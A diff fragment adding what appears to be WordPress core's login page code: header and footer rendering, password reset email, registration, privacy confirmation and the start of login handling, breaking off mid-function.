+ * @param string   $title    Optional. WordPress login Page title to display in the `<title>` element.
+ *                           Default 'Log In'.
+ * @param string   $message  Optional. Message to display in header. Default empty.
+ * @param WP_Error $wp_error Optional. The error to pass. Default is a WP_Error instance.
+ */
+function login_header( $title = 'Log In', $message = '', $wp_error = null ) {
+	global $error, $interim_login, $action;
+
+	// Don't index any of these forms
+	add_action( 'login_head', 'wp_sensitive_page_meta' );
+
+	add_action( 'login_head', 'wp_login_viewport_meta' );
+
+	if ( ! is_wp_error( $wp_error ) ) {
+		$wp_error = new WP_Error();
+	}
+
+	// Shake it!
+	$shake_error_codes = array( 'empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password' );
+	/**
+	 * Filters the error codes array for shaking the login form.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $shake_error_codes Error codes that shake the login form.
+	 */
+	$shake_error_codes = apply_filters( 'shake_error_codes', $shake_error_codes );
+
+	if ( $shake_error_codes && $wp_error->get_error_code() && in_array( $wp_error->get_error_code(), $shake_error_codes ) )
+		add_action( 'login_head', 'wp_shake_js', 12 );
+
+	$login_title = get_bloginfo( 'name', 'display' );
+
+	/* translators: Login screen title. 1: Login screen name, 2: Network or site name */
+	$login_title = sprintf( __( '%1$s &lsaquo; %2$s &#8212; WordPress' ), $title, $login_title );
+
+	/**
+	 * Filters the title tag content for login page.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param string $login_title The page title, with extra context added.
+	 * @param string $title       The original page title.
+	 */
+	$login_title = apply_filters( 'login_title', $login_title, $title );
+
+	?><!DOCTYPE html>
+	<!--[if IE 8]>
+		<html xmlns="http://www.w3.org/1999/xhtml" class="ie8" <?php language_attributes(); ?>>
+	<![endif]-->
+	<!--[if !(IE 8) ]><!-->
+		<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+	<!--<![endif]-->
+	<head>
+	<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
+	<title><?php echo $login_title; ?></title>
+	<?php
+
+	wp_enqueue_style( 'login' );
+
+	/*
+	 * Remove all stored post data on logging out.
+	 * This could be added by add_action('login_head'...) like wp_shake_js(),
+	 * but maybe better if it's not removable by plugins
+	 */
+	if ( 'loggedout' == $wp_error->get_error_code() ) {
+		?>
+		<script>if("sessionStorage" in window){try{for(var key in sessionStorage){if(key.indexOf("wp-autosave-")!=-1){sessionStorage.removeItem(key)}}}catch(e){}};</script>
+		<?php
+	}
+
+	/**
+	 * Enqueue scripts and styles for the login page.
+	 *
+	 * @since 3.1.0
+	 */
+	do_action( 'login_enqueue_scripts' );
+
+	/**
+	 * Fires in the login page header after scripts are enqueued.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( 'login_head' );
+
+	if ( is_multisite() ) {
+		$login_header_url   = network_home_url();
+		$login_header_title = get_network()->site_name;
+	} else {
+		$login_header_url   = __( 'https://wordpress.org/' );
+		$login_header_title = __( 'Powered by WordPress' );
+	}
+
+	/**
+	 * Filters link URL of the header logo above login form.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $login_header_url Login header logo URL.
+	 */
+	$login_header_url = apply_filters( 'login_headerurl', $login_header_url );
+
+	/**
+	 * Filters the title attribute of the header logo above login form.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $login_header_title Login header logo title attribute.
+	 */
+	$login_header_title = apply_filters( 'login_headertitle', $login_header_title );
+
+	/*
+	 * To match the URL/title set above, Multisite sites have the blog name,
+	 * while single sites get the header title.
+	 */
+	if ( is_multisite() ) {
+		$login_header_text = get_bloginfo( 'name', 'display' );
+	} else {
+		$login_header_text = $login_header_title;
+	}
+
+	$classes = array( 'login-action-' . $action, 'wp-core-ui' );
+	if ( is_rtl() )
+		$classes[] = 'rtl';
+	if ( $interim_login ) {
+		$classes[] = 'interim-login';
+		?>
+		<style type="text/css">html{background-color: transparent;}</style>
+		<?php
+
+		if ( 'success' ===  $interim_login )
+			$classes[] = 'interim-login-success';
+	}
+	$classes[] =' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_locale() ) ) );
+
+	/**
+	 * Filters the login page body classes.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param array  $classes An array of body classes.
+	 * @param string $action  The action that brought the visitor to the login page.
+	 */
+	$classes = apply_filters( 'login_body_class', $classes, $action );
+
+	?>
+	</head>
+	<body class="login <?php echo esc_attr( implode( ' ', $classes ) ); ?>">
+	<?php
+	/**
+	 * Fires in the login page header after the body tag is opened.
+	 *
+	 * @since 4.6.0
+	 */
+	do_action( 'login_header' );
+	?>
+	<div id="login">
+		<h1><a href="<?php echo esc_url( $login_header_url ); ?>" title="<?php echo esc_attr( $login_header_title ); ?>" tabindex="-1"><?php echo $login_header_text; ?></a></h1>
+	<?php
+
+	unset( $login_header_url, $login_header_title );
+
+	/**
+	 * Filters the message to display above the login form.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $message Login message text.
+	 */
+	$message = apply_filters( 'login_message', $message );
+	if ( !empty( $message ) )
+		echo $message . "\n";
+
+	// In case a plugin uses $error rather than the $wp_errors object
+	if ( !empty( $error ) ) {
+		$wp_error->add('error', $error);
+		unset($error);
+	}
+
+	if ( $wp_error->get_error_code() ) {
+		$errors = '';
+		$messages = '';
+		foreach ( $wp_error->get_error_codes() as $code ) {
+			$severity = $wp_error->get_error_data( $code );
+			foreach ( $wp_error->get_error_messages( $code ) as $error_message ) {
+				if ( 'message' == $severity )
+					$messages .= '	' . $error_message . "<br />\n";
+				else
+					$errors .= '	' . $error_message . "<br />\n";
+			}
+		}
+		if ( ! empty( $errors ) ) {
+			/**
+			 * Filters the error messages displayed above the login form.
+			 *
+			 * @since 2.1.0
+			 *
+			 * @param string $errors Login error message.
+			 */
+			echo '<div id="login_error">' . apply_filters( 'login_errors', $errors ) . "</div>\n";
+		}
+		if ( ! empty( $messages ) ) {
+			/**
+			 * Filters instructional messages displayed above the login form.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string $messages Login messages.
+			 */
+			echo '<p class="message">' . apply_filters( 'login_messages', $messages ) . "</p>\n";
+		}
+	}
+} // End of login_header()
+
+/**
+ * Outputs the footer for the login page.
+ *
+ * @param string $input_id Which input to auto-focus
+ */
+function login_footer($input_id = '') {
+	global $interim_login;
+
+	// Don't allow interim logins to navigate away from the page.
+	if ( ! $interim_login ): ?>
+	<p id="backtoblog"><a href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php
+		/* translators: %s: site title */
+		printf( _x( '&larr; Back to %s', 'site' ), get_bloginfo( 'title', 'display' ) );
+	?></a></p>
+	<?php the_privacy_policy_link( '<div class="privacy-policy-page-link">', '</div>' ); ?>
+	<?php endif; ?>
+
+	</div>
+
+	<?php if ( !empty($input_id) ) : ?>
+	<script type="text/javascript">
+	try{document.getElementById('<?php echo $input_id; ?>').focus();}catch(e){}
+	if(typeof wpOnload=='function')wpOnload();
+	</script>
+	<?php endif; ?>
+
+	<?php
+	/**
+	 * Fires in the login page footer.
+	 *
+	 * @since 3.1.0
+	 */
+	do_action( 'login_footer' ); ?>
+	<div class="clear"></div>
+	</body>
+	</html>
+	<?php
+}
+
+/**
+ * @since 3.0.0
+ */
+function wp_shake_js() {
+?>
+<script type="text/javascript">
+addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
+function s(id,pos){g(id).left=pos+'px';}
+function g(id){return document.getElementById(id).style;}
+function shake(id,a,d){c=a.shift();s(id,c);if(a.length>0){setTimeout(function(){shake(id,a,d);},d);}else{try{g(id).position='static';wp_attempt_focus();}catch(e){}}}
+addLoadEvent(function(){ var p=new Array(15,30,15,0,-15,-30,-15,0);p=p.concat(p.concat(p));var i=document.forms[0].id;g(i).position='relative';shake(i,p,20);});
+</script>
+<?php
+}
+
+/**
+ * @since 3.7.0
+ */
+function wp_login_viewport_meta() {
+	?>
+	<meta name="viewport" content="width=device-width" />
+	<?php
+}
+
+/**
+ * Handles sending password retrieval email to user.
+ *
+ * @return bool|WP_Error True: when finish. WP_Error on error
+ */
+function retrieve_password() {
+	$errors = new WP_Error();
+
+	if ( empty( $_POST['user_login'] ) || ! is_string( $_POST['user_login'] ) ) {
+		$errors->add('empty_username', __('<strong>ERROR</strong>: Enter a username or email address.'));
+	} elseif ( strpos( $_POST['user_login'], '@' ) ) {
+		$user_data = get_user_by( 'email', trim( wp_unslash( $_POST['user_login'] ) ) );
+		if ( empty( $user_data ) )
+			$errors->add('invalid_email', __('<strong>ERROR</strong>: There is no user registered with that email address.'));
+	} else {
+		$login = trim($_POST['user_login']);
+		$user_data = get_user_by('login', $login);
+	}
+
+	/**
+	 * Fires before errors are returned from a password reset request.
+	 *
+	 * @since 2.1.0
+	 * @since 4.4.0 Added the `$errors` parameter.
+	 *
+	 * @param WP_Error $errors A WP_Error object containing any errors generated
+	 *                         by using invalid credentials.
+	 */
+	do_action( 'lostpassword_post', $errors );
+
+	if ( $errors->get_error_code() )
+		return $errors;
+
+	if ( !$user_data ) {
+		$errors->add('invalidcombo', __('<strong>ERROR</strong>: Invalid username or email.'));
+		return $errors;
+	}
+
+	// Redefining user_login ensures we return the right case in the email.
+	$user_login = $user_data->user_login;
+	$user_email = $user_data->user_email;
+	$key = get_password_reset_key( $user_data );
+
+	if ( is_wp_error( $key ) ) {
+		return $key;
+	}
+
+	if ( is_multisite() ) {
+		$site_name = get_network()->site_name;
+	} else {
+		/*
+		 * The blogname option is escaped with esc_html on the way into the database
+		 * in sanitize_option we want to reverse this for the plain text arena of emails.
+		 */
+		$site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
+	}
+
+	$message = __( 'Someone has requested a password reset for the following account:' ) . "\r\n\r\n";
+	/* translators: %s: site name */
+	$message .= sprintf( __( 'Site Name: %s'), $site_name ) . "\r\n\r\n";
+	/* translators: %s: user login */
+	$message .= sprintf( __( 'Username: %s'), $user_login ) . "\r\n\r\n";
+	$message .= __( 'If this was a mistake, just ignore this email and nothing will happen.' ) . "\r\n\r\n";
+	$message .= __( 'To reset your password, visit the following address:' ) . "\r\n\r\n";
+	$message .= '<' . network_site_url( "wp-login.php?action=rp&key=$key&login=" . rawurlencode( $user_login ), 'login' ) . ">\r\n";
+
+	/* translators: Password reset email subject. %s: Site name */
+	$title = sprintf( __( '[%s] Password Reset' ), $site_name );
+
+	/**
+	 * Filters the subject of the password reset email.
+	 *
+	 * @since 2.8.0
+	 * @since 4.4.0 Added the `$user_login` and `$user_data` parameters.
+	 *
+	 * @param string  $title      Default email title.
+	 * @param string  $user_login The username for the user.
+	 * @param WP_User $user_data  WP_User object.
+	 */
+	$title = apply_filters( 'retrieve_password_title', $title, $user_login, $user_data );
+
+	/**
+	 * Filters the message body of the password reset mail.
+	 *
+	 * If the filtered message is empty, the password reset email will not be sent.
+	 *
+	 * @since 2.8.0
+	 * @since 4.1.0 Added `$user_login` and `$user_data` parameters.
+	 *
+	 * @param string  $message    Default mail message.
+	 * @param string  $key        The activation key.
+	 * @param string  $user_login The username for the user.
+	 * @param WP_User $user_data  WP_User object.
+	 */
+	$message = apply_filters( 'retrieve_password_message', $message, $key, $user_login, $user_data );
+
+	if ( $message && !wp_mail( $user_email, wp_specialchars_decode( $title ), $message ) )
+		wp_die( __('The email could not be sent.') . "<br />\n" . __('Possible reason: your host may have disabled the mail() function.') );
+
+	return true;
+}
+
+//
+// Main
+//
+
+$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login';
+$errors = new WP_Error();
+
+if ( isset($_GET['key']) )
+	$action = 'resetpass';
+
+// validate action so as to default to the login screen
+if ( !in_array( $action, array( 'postpass', 'logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login', 'confirmaction' ), true ) && false === has_filter( 'login_form_' . $action ) )
+	$action = 'login';
+
+nocache_headers();
+
+header('Content-Type: '.get_bloginfo('html_type').'; charset='.get_bloginfo('charset'));
+
+if ( defined( 'RELOCATE' ) && RELOCATE ) { // Move flag is set
+	if ( isset( $_SERVER['PATH_INFO'] ) && ($_SERVER['PATH_INFO'] != $_SERVER['PHP_SELF']) )
+		$_SERVER['PHP_SELF'] = str_replace( $_SERVER['PATH_INFO'], '', $_SERVER['PHP_SELF'] );
+
+	$url = dirname( set_url_scheme( 'http://' .  $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] ) );
+	if ( $url != get_option( 'siteurl' ) )
+		update_option( 'siteurl', $url );
+}
+
+//Set a cookie now to see if they are supported by the browser.
+$secure = ( 'https' === parse_url( wp_login_url(), PHP_URL_SCHEME ) );
+setcookie( TEST_COOKIE, 'WP Cookie check', 0, COOKIEPATH, COOKIE_DOMAIN, $secure );
+if ( SITECOOKIEPATH != COOKIEPATH )
+	setcookie( TEST_COOKIE, 'WP Cookie check', 0, SITECOOKIEPATH, COOKIE_DOMAIN, $secure );
+
+/**
+ * Fires when the login form is initialized.
+ *
+ * @since 3.2.0
+ */
+do_action( 'login_init' );
+
+/**
+ * Fires before a specified login form action.
+ *
+ * The dynamic portion of the hook name, `$action`, refers to the action
+ * that brought the visitor to the login form. Actions include 'postpass',
+ * 'logout', 'lostpassword', etc.
+ *
+ * @since 2.8.0
+ */
+do_action( "login_form_{$action}" );
+
+$http_post = ('POST' == $_SERVER['REQUEST_METHOD']);
+$interim_login = isset($_REQUEST['interim-login']);
+
+/**
+ * Filters the separator used between login form navigation links.
+ *
+ * @since 4.9.0
+ *
+ * @param string $login_link_separator The separator used between login form navigation links.
+ */
+$login_link_separator = apply_filters( 'login_link_separator', ' | ' );
+
+switch ($action) {
+
+case 'postpass' :
+	if ( ! array_key_exists( 'post_password', $_POST ) ) {
+		wp_safe_redirect( wp_get_referer() );
+		exit();
+	}
+
+	require_once ABSPATH . WPINC . '/class-phpass.php';
+	$hasher = new PasswordHash( 8, true );
+
+	/**
+	 * Filters the life span of the post password cookie.
+	 *
+	 * By default, the cookie expires 10 days from creation. To turn this
+	 * into a session cookie, return 0.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param int $expires The expiry time, as passed to setcookie().
+	 */
+	$expire = apply_filters( 'post_password_expires', time() + 10 * DAY_IN_SECONDS );
+	$referer = wp_get_referer();
+	if ( $referer ) {
+		$secure = ( 'https' === parse_url( $referer, PHP_URL_SCHEME ) );
+	} else {
+		$secure = false;
+	}
+	setcookie( 'wp-postpass_' . COOKIEHASH, $hasher->HashPassword( wp_unslash( $_POST['post_password'] ) ), $expire, COOKIEPATH, COOKIE_DOMAIN, $secure );
+
+	wp_safe_redirect( wp_get_referer() );
+	exit();
+
+case 'logout' :
+	check_admin_referer('log-out');
+
+	$user = wp_get_current_user();
+
+	wp_logout();
+
+	if ( ! empty( $_REQUEST['redirect_to'] ) ) {
+		$redirect_to = $requested_redirect_to = $_REQUEST['redirect_to'];
+	} else {
+		$redirect_to = 'wp-login.php?loggedout=true';
+		$requested_redirect_to = '';
+	}
+
+	/**
+	 * Filters the log out redirect URL.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param string  $redirect_to           The redirect destination URL.
+	 * @param string  $requested_redirect_to The requested redirect destination URL passed as a parameter.
+	 * @param WP_User $user                  The WP_User object for the user that's logging out.
+	 */
+	$redirect_to = apply_filters( 'logout_redirect', $redirect_to, $requested_redirect_to, $user );
+	wp_safe_redirect( $redirect_to );
+	exit();
+
+case 'lostpassword' :
+case 'retrievepassword' :
+
+	if ( $http_post ) {
+		$errors = retrieve_password();
+		if ( !is_wp_error($errors) ) {
+			$redirect_to = !empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : 'wp-login.php?checkemail=confirm';
+			wp_safe_redirect( $redirect_to );
+			exit();
+		}
+	}
+
+	if ( isset( $_GET['error'] ) ) {
+		if ( 'invalidkey' == $_GET['error'] ) {
+			$errors->add( 'invalidkey', __( 'Your password reset link appears to be invalid. Please request a new link below.' ) );
+		} elseif ( 'expiredkey' == $_GET['error'] ) {
+			$errors->add( 'expiredkey', __( 'Your password reset link has expired. Please request a new link below.' ) );
+		}
+	}
+
+	$lostpassword_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
+	/**
+	 * Filters the URL redirected to after submitting the lostpassword/retrievepassword form.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $lostpassword_redirect The redirect destination URL.
+	 */
+	$redirect_to = apply_filters( 'lostpassword_redirect', $lostpassword_redirect );
+
+	/**
+	 * Fires before the lost password form.
+	 *
+	 * @since 1.5.1
+	 */
+	do_action( 'lost_password' );
+
+	login_header(__('Lost Password'), '<p class="message">' . __('Please enter your username or email address. You will receive a link to create a new password via email.') . '</p>', $errors);
+
+	$user_login = '';
+
+	if ( isset( $_POST['user_login'] ) && is_string( $_POST['user_login'] ) ) {
+		$user_login = wp_unslash( $_POST['user_login'] );
+	}
+
+?>
+
+<form name="lostpasswordform" id="lostpasswordform" action="<?php echo esc_url( network_site_url( 'wp-login.php?action=lostpassword', 'login_post' ) ); ?>" method="post">
+	<p>
+		<label for="user_login" ><?php _e( 'Username or Email Address' ); ?><br />
+		<input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr($user_login); ?>" size="20" /></label>
+	</p>
+	<?php
+	/**
+	 * Fires inside the lostpassword form tags, before the hidden fields.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( 'lostpassword_form' ); ?>
+	<input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />
+	<p class="submit"><input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e('Get New Password'); ?>" /></p>
+</form>
+
+<p id="nav">
+<a href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e('Log in') ?></a>
+<?php
+if ( get_option( 'users_can_register' ) ) :
+	$registration_url = sprintf( '<a href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );
+
+	echo esc_html( $login_link_separator );
+
+	/** This filter is documented in wp-includes/general-template.php */
+	echo apply_filters( 'register', $registration_url );
+endif;
+?>
+</p>
+
+<?php
+login_footer('user_login');
+
+break;
+
+case 'resetpass' :
+case 'rp' :
+	list( $rp_path ) = explode( '?', wp_unslash( $_SERVER['REQUEST_URI'] ) );
+	$rp_cookie = 'wp-resetpass-' . COOKIEHASH;
+	if ( isset( $_GET['key'] ) ) {
+		$value = sprintf( '%s:%s', wp_unslash( $_GET['login'] ), wp_unslash( $_GET['key'] ) );
+		setcookie( $rp_cookie, $value, 0, $rp_path, COOKIE_DOMAIN, is_ssl(), true );
+		wp_safe_redirect( remove_query_arg( array( 'key', 'login' ) ) );
+		exit;
+	}
+
+	if ( isset( $_COOKIE[ $rp_cookie ] ) && 0 < strpos( $_COOKIE[ $rp_cookie ], ':' ) ) {
+		list( $rp_login, $rp_key ) = explode( ':', wp_unslash( $_COOKIE[ $rp_cookie ] ), 2 );
+		$user = check_password_reset_key( $rp_key, $rp_login );
+		if ( isset( $_POST['pass1'] ) && ! hash_equals( $rp_key, $_POST['rp_key'] ) ) {
+			$user = false;
+		}
+	} else {
+		$user = false;
+	}
+
+	if ( ! $user || is_wp_error( $user ) ) {
+		setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true );
+		if ( $user && $user->get_error_code() === 'expired_key' )
+			wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=expiredkey' ) );
+		else
+			wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=invalidkey' ) );
+		exit;
+	}
+
+	$errors = new WP_Error();
+
+	if ( isset($_POST['pass1']) && $_POST['pass1'] != $_POST['pass2'] )
+		$errors->add( 'password_reset_mismatch', __( 'The passwords do not match.' ) );
+
+	/**
+	 * Fires before the password reset procedure is validated.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param object           $errors WP Error object.
+	 * @param WP_User|WP_Error $user   WP_User object if the login and reset key match. WP_Error object otherwise.
+	 */
+	do_action( 'validate_password_reset', $errors, $user );
+
+	if ( ( ! $errors->get_error_code() ) && isset( $_POST['pass1'] ) && !empty( $_POST['pass1'] ) ) {
+		reset_password($user, $_POST['pass1']);
+		setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true );
+		login_header( __( 'Password Reset' ), '<p class="message reset-pass">' . __( 'Your password has been reset.' ) . ' <a href="' . esc_url( wp_login_url() ) . '">' . __( 'Log in' ) . '</a></p>' );
+		login_footer();
+		exit;
+	}
+
+	wp_enqueue_script('utils');
+	wp_enqueue_script('user-profile');
+
+	login_header(__('Reset Password'), '<p class="message reset-pass">' . __('Enter your new password below.') . '</p>', $errors );
+
+?>
+<form name="resetpassform" id="resetpassform" action="<?php echo esc_url( network_site_url( 'wp-login.php?action=resetpass', 'login_post' ) ); ?>" method="post" autocomplete="off">
+	<input type="hidden" id="user_login" value="<?php echo esc_attr( $rp_login ); ?>" autocomplete="off" />
+
+	<div class="user-pass1-wrap">
+		<p>
+			<label for="pass1"><?php _e( 'New password' ) ?></label>
+		</p>
+
+		<div class="wp-pwd">
+			<div class="password-input-wrapper">
+				<input type="password" data-reveal="1" data-pw="<?php echo esc_attr( wp_generate_password( 16 ) ); ?>" name="pass1" id="pass1" class="input password-input" size="24" value="" autocomplete="off" aria-describedby="pass-strength-result" />
+				<span class="button button-secondary wp-hide-pw hide-if-no-js">
+					<span class="dashicons dashicons-hidden"></span>
+				</span>
+			</div>
+			<div id="pass-strength-result" class="hide-if-no-js" aria-live="polite"><?php _e( 'Strength indicator' ); ?></div>
+		</div>
+		<div class="pw-weak">
+			<label>
+				<input type="checkbox" name="pw_weak" class="pw-checkbox" />
+				<?php _e( 'Confirm use of weak password' ); ?>
+			</label>
+		</div>
+	</div>
+
+	<p class="user-pass2-wrap">
+		<label for="pass2"><?php _e( 'Confirm new password' ) ?></label><br />
+		<input type="password" name="pass2" id="pass2" class="input" size="20" value="" autocomplete="off" />
+	</p>
+
+	<p class="description indicator-hint"><?php echo wp_get_password_hint(); ?></p>
+	<br class="clear" />
+
+	<?php
+	/**
+	 * Fires following the 'Strength indicator' meter in the user password reset form.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param WP_User $user User object of the user whose password is being reset.
+	 */
+	do_action( 'resetpass_form', $user );
+	?>
+	<input type="hidden" name="rp_key" value="<?php echo esc_attr( $rp_key ); ?>" />
+	<p class="submit"><input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e('Reset Password'); ?>" /></p>
+</form>
+
+<p id="nav">
+<a href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a>
+<?php
+if ( get_option( 'users_can_register' ) ) :
+	$registration_url = sprintf( '<a href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );
+
+	echo esc_html( $login_link_separator );
+
+	/** This filter is documented in wp-includes/general-template.php */
+	echo apply_filters( 'register', $registration_url );
+endif;
+?>
+</p>
+
+<?php
+login_footer('user_pass');
+
+break;
+
+case 'register' :
+	if ( is_multisite() ) {
+		/**
+		 * Filters the Multisite sign up URL.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $sign_up_url The sign up URL.
+		 */
+		wp_redirect( apply_filters( 'wp_signup_location', network_site_url( 'wp-signup.php' ) ) );
+		exit;
+	}
+
+	if ( !get_option('users_can_register') ) {
+		wp_redirect( site_url('wp-login.php?registration=disabled') );
+		exit();
+	}
+
+	$user_login = '';
+	$user_email = '';
+
+	if ( $http_post ) {
+		if ( isset( $_POST['user_login'] ) && is_string( $_POST['user_login'] ) ) {
+			$user_login = $_POST['user_login'];
+		}
+
+		if ( isset( $_POST['user_email'] ) && is_string( $_POST['user_email'] ) ) {
+			$user_email = wp_unslash( $_POST['user_email'] );
+		}
+
+		$errors = register_new_user($user_login, $user_email);
+		if ( !is_wp_error($errors) ) {
+			$redirect_to = !empty( $_POST['redirect_to'] ) ? $_POST['redirect_to'] : 'wp-login.php?checkemail=registered';
+			wp_safe_redirect( $redirect_to );
+			exit();
+		}
+	}
+
+	$registration_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
+	/**
+	 * Filters the registration redirect URL.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $registration_redirect The redirect destination URL.
+	 */
+	$redirect_to = apply_filters( 'registration_redirect', $registration_redirect );
+	login_header(__('Registration Form'), '<p class="message register">' . __('Register For This Site') . '</p>', $errors);
+?>
+<form name="registerform" id="registerform" action="<?php echo esc_url( site_url( 'wp-login.php?action=register', 'login_post' ) ); ?>" method="post" novalidate="novalidate">
+	<p>
+		<label for="user_login"><?php _e('Username') ?><br />
+		<input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr(wp_unslash($user_login)); ?>" size="20" /></label>
+	</p>
+	<p>
+		<label for="user_email"><?php _e('Email') ?><br />
+		<input type="email" name="user_email" id="user_email" class="input" value="<?php echo esc_attr( wp_unslash( $user_email ) ); ?>" size="25" /></label>
+	</p>
+	<?php
+	/**
+	 * Fires following the 'Email' field in the user registration form.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( 'register_form' );
+	?>
+	<p id="reg_passmail"><?php _e( 'Registration confirmation will be emailed to you.' ); ?></p>
+	<br class="clear" />
+	<input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />
+	<p class="submit"><input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e('Register'); ?>" /></p>
+</form>
+
+<p id="nav">
+<a href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a>
+<?php echo esc_html( $login_link_separator ); ?>
+<a href="<?php echo esc_url( wp_lostpassword_url() ); ?>"><?php _e( 'Lost your password?' ); ?></a>
+</p>
+
+<?php
+login_footer('user_login');
+
+break;
+
+case 'confirmaction' :
+	if ( ! isset( $_GET['request_id'] ) ) {
+		wp_die( __( 'Invalid request.' ) );
+	}
+
+	$request_id = (int) $_GET['request_id'];
+
+	if ( isset( $_GET['confirm_key'] ) ) {
+		$key    = sanitize_text_field( wp_unslash( $_GET['confirm_key'] ) );
+		$result = wp_validate_user_request_key( $request_id, $key );
+	} else {
+		$result = new WP_Error( 'invalid_key', __( 'Invalid key' ) );
+	}
+
+	if ( is_wp_error( $result ) ) {
+		wp_die( $result );
+	}
+	
+	/**
+	 * Fires an action hook when the account action has been confirmed by the user.
+	 * 
+	 * Using this you can assume the user has agreed to perform the action by
+	 * clicking on the link in the confirmation email.
+	 * 
+	 * After firing this action hook the page will redirect to wp-login a callback
+	 * redirects or exits first.
+	 *
+	 * @param int $request_id Request ID.
+	 */
+	do_action( 'user_request_action_confirmed', $request_id );
+
+	$message = _wp_privacy_account_request_confirmed_message( $request_id );
+
+	login_header( __( 'User action confirmed.' ), $message );
+	login_footer();
+	exit;
+
+case 'login' :
+default:
+	$secure_cookie = '';
+	$customize_login = isset( $_REQUEST['customize-login'] );
+	if ( $customize_login )
+		wp_enqueue_script( 'customize-base' );
+
+	// If the user wants ssl but the session is not ssl, force a secure cookie.
+	if ( !empty($_POST['log']) && !force_ssl_admin() ) {
+		$user_name = sanitize_user($_POST['log']);
+		$user = get_user_by( 'login', $user_name );
+
+		if ( ! $user && strpos( $user_name, '@' ) ) {
+			$user = get_user_by( 'email', $user_name );
+		}
+
+		if ( $user ) {
+			if ( get_user_option('use_ssl', $user->ID) ) {
+				$secure_cookie = true;
+				force_ssl_admin(true);
+			}
+		}
+	}
+
+	if ( isset( $_REQUEST['redirect_to'] ) ) {
+		$redirect_to = $_REQUEST['redirect_to'];
+		// Redirect to https if user wants ssl
+		if ( $secure_cookie && false !== strpos($redirect_to, 'wp-admin') )
+			$redirect_to = preg_replace('|^http://|', 'https://', $redirect_to);
+	} else {
+		$redirect_to = admin_url();
+	}
+
+	$reauth = empty($_REQUEST['reauth']) ? false : true;
+
+	$user = wp_signon( array(), $secure_cookie );
+
+	if ( empty( $_COOKIE[ LOGGED_IN_COOKIE ] ) ) {
+		if ( headers_sent() ) {
+			/* translators: 1: Browser cookie documentation URL, 2: Support forums URL */
+			$user = new WP_Error( 'test_cookie', sprintf( __( '<strong>ERROR</strong>: Cookies are blocked due to unexpected output. For help, please see <a href="%1$s">this documentation</a> or try the <a href="%2$s">support forums</a>.' ),
+				__( 'https://codex.wordpress.org/Cookies' ), __( 'https://wordpress.org/support/' ) ) );
+		} elseif ( isset( $_POST['testcookie'] ) && empty( $_COOKIE[ TEST_COOKIE ] ) ) {
+			// If cookies are disabled we can't log in even with a valid user+pass
+			/* translators: 1: Browser cookie documentation URL */
+			$user = new WP_Error( 'test_cookie', sprintf( __( '<strong>ERROR</strong>: Cookies are blocked or not supported by your browser. You must <a href="%s">enable cookies</a> to use WordPress.' ),
+				__( 'https://codex.wordpress.org/Cookies' ) ) );
+		}
+	}
+
+	$requested_redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
+	/**
+	 * Filters the login redirect URL.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string           $redirect_to           The redirect destination URL.
+	 * @param string           $requested_redirect_to The requested redirect destination URL passed as a parameter.
+	 * @param WP_User|WP_Error $user                  WP_User object if login was successful, WP_Error object otherwise.
+	 */
+	$redirect_to = apply_filters( 'login_redirect', $redirect_to, $requested_redirect_to, $user );
+
+	if ( !is_wp_error($user) && !$reauth ) {
+		if ( $interim_login ) {
+			$message = '<p class="message">' . __('You have logged in successfully.') . '</p>';
+			$interim_login = 'success';
